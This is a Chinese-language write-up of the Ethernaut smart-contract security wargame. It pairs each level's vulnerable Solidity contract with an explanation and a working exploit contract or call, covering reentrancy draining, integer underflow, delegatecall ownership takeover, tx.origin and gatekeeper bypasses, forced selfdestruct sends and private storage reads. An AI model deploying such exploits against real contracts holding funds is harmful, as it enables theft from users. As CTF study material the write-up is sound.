Ethernaut靶场记录

Ethernaut 之前已经做过一部分了,现在用不了 Goeril 了,正好重新做一下。

Hello Ethernaut

跟着提示走

提交

web3.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from web3 import Web3, HTTPProvider # web3 == 6.15.0

rpc = 'https://rpc2.sepolia.org'
web3 = Web3(HTTPProvider(rpc))

contract_abi = [...] #从contract.abi 复制过来,要把 true 和 false 改成 python 的 True 和 False
contract_address = "0xF4D97Ae3B0ab2f942B9EE0A653D6e7b2D0868386"

contract_instance = web3.eth.contract(address=contract_address, abi=contract_abi)

print(contract_instance.caller.info())

#Ipython 进入交互模式
import IPython
IPython.embed()

Fallback

怪,全程没看到 fallback

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Fallback {

mapping(address => uint) public contributions;
address public owner;

constructor() {
owner = msg.sender;
contributions[msg.sender] = 1000 * (1 ether);
}

modifier onlyOwner {
require(
msg.sender == owner,
"caller is not the owner"
);
_;
}

function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if(contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}

function getContribution() public view returns (uint) {
return contributions[msg.sender];
}

function withdraw() public onlyOwner {
payable(owner).transfer(address(this).balance);
}

receive() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
}

有两个点可以获得 owner,第一个要 contribute 超过 1000 ether 不太现实,看第二个 receive()

需要对合约地址转账,并且自己的 contribute > 0。

先调用 contribute,再用 sendTransaction 对合约进行转账,最后 withdraw 提走。

Fallout

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import 'openzeppelin-contracts-06/math/SafeMath.sol';

contract Fallout {

using SafeMath for uint256;
mapping (address => uint) allocations;
address payable public owner;


//constructor
function Fal1out() public payable {
owner = msg.sender;
allocations[owner] = msg.value;
}

modifier onlyOwner {
require(
msg.sender == owner,
"caller is not the owner"
);
_;
}

function allocate() public payable {
allocations[msg.sender] = allocations[msg.sender].add(msg.value);
}

function sendAllocation(address payable allocator) public {
require(allocations[allocator] > 0);
allocator.transfer(allocations[allocator]);
}

function collectAllocations() public onlyOwner {
msg.sender.transfer(address(this).balance);
}

function allocatorBalance(address allocator) public view returns (uint) {
return allocations[allocator];
}
}

constructor 函数 Fa1lout 与合约不同名,可以直接调用

Coin Flip

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract CoinFlip {

uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

constructor() {
consecutiveWins = 0;
}

function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number - 1));

if (lastHash == blockValue) {
revert();
}

lastHash = blockValue;
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;

if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}

构造一个合约与题目交互时,两个合约是在同一区块的,二者 block.number 相同,side 是可预测的

构造 Exp 合约,abstract 抽象类的函数要加 virtual,用 interface 也行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

abstract contract CoinFlip {
function flip(bool _guess) virtual public returns (bool);
}

contract exploit {
CoinFlip coinflip = CoinFlip(0xB62a47e3e225814c01ceD4D7Cba1Ee1fCc9bf0A2);
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

function exp() public {
uint256 blockValue = uint256(blockhash(block.number - 1));
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
coinflip.flip(side);
}
}

编译后部署 exploit,打十次就好了

Telephone

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Telephone {

address public owner;

constructor() {
owner = msg.sender;
}

function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}

调用 changeOwner 时 tx.origin != msg.sender

tx.origin 是发起调用的账户地址,msg.sender 是直接调用该合约的地址,也就是可以构造一个合约来调用 changeOwner,这样 tx.origin 是我们自己的账户地址,msg.sender 是我们构造的合约的地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Telephone {
function changeOwner(address _owner) external ;
}

contract exploit {
Telephone telephone = Telephone(0xc4215166b65A6b8E8b5af4d50d89c34eD6C17A31);

function exp() public {
telephone.changeOwner(msg.sender);
}
}

通过调用 exp()把 owner 变成自己账户。

Token

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Token {

mapping(address => uint) balances;
uint public totalSupply;

constructor(uint _initialSupply) public {
balances[msg.sender] = totalSupply = _initialSupply;
}

function transfer(address _to, uint _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}

function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
}

这一关的目标是攻破下面这个基础 token 合约

你最开始有 20 个 token, 如果你通过某种方法可以增加你手中的 token 数量, 你就可以通过这一关, 当然越多越好

尝试转 -1 给关卡地址失败,uint 好像没负数。

这里没用 safemath,直接转 21 出来,就会发生下溢,不会有 balances[msg.sender] - _value < 0 的情况出现

Delegation

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Delegate {

address public owner;

constructor(address _owner) {
owner = _owner;
}

function pwn() public {
owner = msg.sender;
}
}

contract Delegation {

address public owner;
Delegate delegate;

constructor(address _delegateAddress) {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}

fallback() external {
(bool result,) = address(delegate).delegatecall(msg.data);
if (result) {
this;
}
}
}

fallback 的几种触发方式:

  1. 不存在函数
  2. 存在函数但没传参数
  3. fallback 有 payable 属性,收钱触发

delegatecall 调用:

当给 call 传入的第一个参数是四个字节时,那么合约就会默认这四个字节是要调用的函数,它会把这四个字节当作函数的 id 来寻找调用函数,而一个函数的 id 在以太坊的函数选择器的生成规则里就是其函数签名 sha3(keccak256)的前 4 个字节。

1
contract.sendTransaction({data:web3.utils.sha3("pwn()").slice(0,10)});

Force

1
2
3
4
5
6
7
8
9
10
11
12
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Force {/*

MEOW ?
/\_/\ /
____/ o o \
/~____ =ø= /
(______)__m_m)

*/}

用 selfdestruct 强制转账

selfdestruct(address payable recipient): destroy the current contract, sending its funds to the given address

1
2
3
4
5
6
7
8
9
10
11
12
13
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract exploit {
constructor() payable {}

receive() external payable {}

function exp() public {
address payable target = payable(0x8F0f49674b4007FBfae6a06a4Ed504d25c5d0c03);
selfdestruct(target);
}
}

部署攻击合约,然后转点钱进去,执行 exp()

Vault

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Vault {
bool public locked;
bytes32 private password;

constructor(bytes32 _password) {
locked = true;
password = _password;
}

function unlock(bytes32 _password) public {
if (password == _password) {
locked = false;
}
}
}

private 变量并不完全 private,只是无法被其他合约直接访问。但区块链上的信息是公开的,可以直接通过 getStorageAt() 来访问

1
2
3
4
5
6
7
8
9
10
11
12
from web3 import Web3, HTTPProvider

rpc = 'https://rpc2.sepolia.org'
web3 = Web3(HTTPProvider(rpc))

contract_address = '0xED1Dc5ED8EB6f90814e3408DCDEb52666087b97e'
solt1 = web3.eth.get_storage_at(contract_address, 1)
print(solt1)
print(solt1.hex())

#b'A very strong secret password :)'
#0x412076657279207374726f6e67207365637265742070617373776f7264203a29

King

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract King {

address king;
uint public prize;
address public owner;

constructor() payable {
owner = msg.sender;
king = msg.sender;
prize = msg.value;
}

receive() external payable {
require(msg.value >= prize || msg.sender == owner);
payable(king).transfer(msg.value);
king = msg.sender;
prize = msg.value;
}

function _king() public view returns (address) {
return king;
}
}

合约里原本有 0.001 ether

只要转入多于 0.001 ether 就可以拿到 owner,但是再提交时关卡会转入更多的 ether 拿回 owner。

合约使用 transfer 来给原先 owner 退钱,对 transfer 函数,若接受合约没有设置 receive、fallback payable,或者接收时 revert 都会导致 transfer 停下并且后面的函数无法执行。

构造 EXP 合约,转账转了半天才转明白,0.6.0 和 0.8.0 不太一样

1
2
3
4
5
6
7
8
9
10
11
12
13
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract exploit {
constructor() payable {}

function exp() public {
address _target = 0x7b7E209e0f3A9d68BdEeD3253BCb5E96837553cc;
(bool result,) = payable(_target).call{value: 2000000000000000}("");
if(!result) revert();
}
//没有接收函数
}

Re-entrancy

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;

import 'openzeppelin-contracts-06/math/SafeMath.sol';

contract Reentrance {

using SafeMath for uint256;
mapping(address => uint) public balances;

function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}

function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}

function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value:_amount}("");
if(result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}

receive() external payable {}
}

使用 msg.sender.call{value:_amount}(""); 形式的转账函数会传递所有可用 Gas 进行调用,从而造成重入漏洞。

使用 withdraw 提钱的时候,合约接收 ether 的函数中可以再次执行 withdraw,并且此时 balances [msg.sender] 还没有减少可以通过校验,所以可以提取超过 balances 的钱。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface INF {
function withdraw(uint _amount) external ;
function donate(address _to) external payable;
}

contract exploit {
constructor() payable {}

address level = 0x0e6D24924301D65Eaa5E990A5F4E486B99D6492A;
INF inf = INF(level);
function exp() public {
inf.donate{value: 1000000000000000}(address(this)); //这里写成0.001 ether就出问题,可能ether的话只能整数?
inf.withdraw(0.001 ether);
}
receive() external payable {
inf.withdraw(0.001 ether);
}
}

Elevator

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Building {
function isLastFloor(uint) external returns (bool);
}


contract Elevator {
bool public top;
uint public floor;

function goTo(uint _floor) public {
Building building = Building(msg.sender);

if (! building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
}

楼层不重要,让 isLastFloor 第一次返回 false,第二次返回 true 就可以了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Elevator {
function goTo(uint _floor) external;
}

contract Building {
bool flag = true;
function isLastFloor(uint _floor) public returns (bool) {
flag = !flag;
return flag;
}
function exp() public {
address level = 0xBC1a9333d466d3bC9581DD374Cf2788F2e588a79;
Elevator elevator = Elevator(level);
elevator.goTo(1);
}
}

Privacy

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Privacy {

bool public locked = true;
uint256 public ID = block.timestamp;
uint8 private flattening = 10;
uint8 private denomination = 255;
uint16 private awkwardness = uint16(block.timestamp);
bytes32[3] private data;

constructor(bytes32[3] memory _data) {
data = _data;
}

function unlock(bytes16 _key) public {
require(_key == bytes16(data[2]));
locked = false;
}

/*
A bunch of super advanced solidity algorithms...

,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^ ,---/V\
`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*. ~|__(o.o)
^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*' UU UU
*/
}

跟 Vault 那题好像没啥区别,也不是动态数组,直接看 solt5 就好了。

1
2
3
solt5: 0x69f815311af63b8b18d90a22a5c6e7950d049b34260997f903d13a259ccd5112

await contract.unlock('0x69f815311af63b8b18d90a22a5c6e7950d049b34260997f903d13a259ccd5112'.slice(0,34))

Gatekeeper One

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract GatekeeperOne {

address public entrant;

modifier gateOne() {
require(msg.sender != tx.origin);
_;
}

modifier gateTwo() {
require(gasleft() % 8191 == 0);
_;
}

modifier gateThree(bytes8 _gateKey) {
require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)), "GatekeeperOne: invalid gateThree part three");
_;
}

function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}

gateOne: 同 Telephone

gateThree: _gateKey=bytes8(uint64(uint160(tx.origin)) & 0xFFFFFFFF0000FFFF)

好好好,gateTwo 咋也打不通了,下次再看

GateKeeper Two

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract GatekeeperTwo {

address public entrant;

modifier gateOne() {
require(msg.sender != tx.origin);
_;
}

modifier gateTwo() {
uint x;
assembly { x := extcodesize(caller()) }
require(x == 0);
_;
}

modifier gateThree(bytes8 _gateKey) {
require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == type(uint64).max);
_;
}

function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}

gateOne 不说了

gateTwo,在构造函数中调用就可以绕过

gateThree,bytes8 key = bytes8(uint64(bytes8(keccak256(abi.encodePacked(address(this))))) ^ type(uint64).max);

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface GatekeeperTwoInterface {
function enter(bytes8 _gateKey) external returns (bool);
}

contract GatekeeperTwoAttack {

GatekeeperTwoInterface gatekeeper;

constructor(address GatekeeperTwoContractAddress) public {
gatekeeper = GatekeeperTwoInterface(GatekeeperTwoContractAddress);
bytes8 key = bytes8(uint64(bytes8(keccak256(abi.encodePacked(address(this))))) ^ type(uint64).max);
gatekeeper.enter(key);
}
}

Naught Coin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import 'openzeppelin-contracts-08/token/ERC20/ERC20.sol';

contract NaughtCoin is ERC20 {

// string public constant name = 'NaughtCoin';
// string public constant symbol = '0x0';
// uint public constant decimals = 18;
uint public timeLock = block.timestamp + 10 * 365 days;
uint256 public INITIAL_SUPPLY;
address public player;

constructor(address _player)
ERC20('NaughtCoin', '0x0') {
player = _player;
INITIAL_SUPPLY = 1000000 * (10**uint256(decimals()));
// _totalSupply = INITIAL_SUPPLY;
// _balances[player] = INITIAL_SUPPLY;
_mint(player, INITIAL_SUPPLY);
emit Transfer(address(0), player, INITIAL_SUPPLY);
}

function transfer(address _to, uint256 _value) override public lockTokens returns(bool) {
super.transfer(_to, _value);
}

// Prevent the initial owner from transferring tokens until the timelock has passed
modifier lockTokens() {
if (msg.sender == player) {
require(block.timestamp > timeLock);
_;
} else {
_;
}
}
}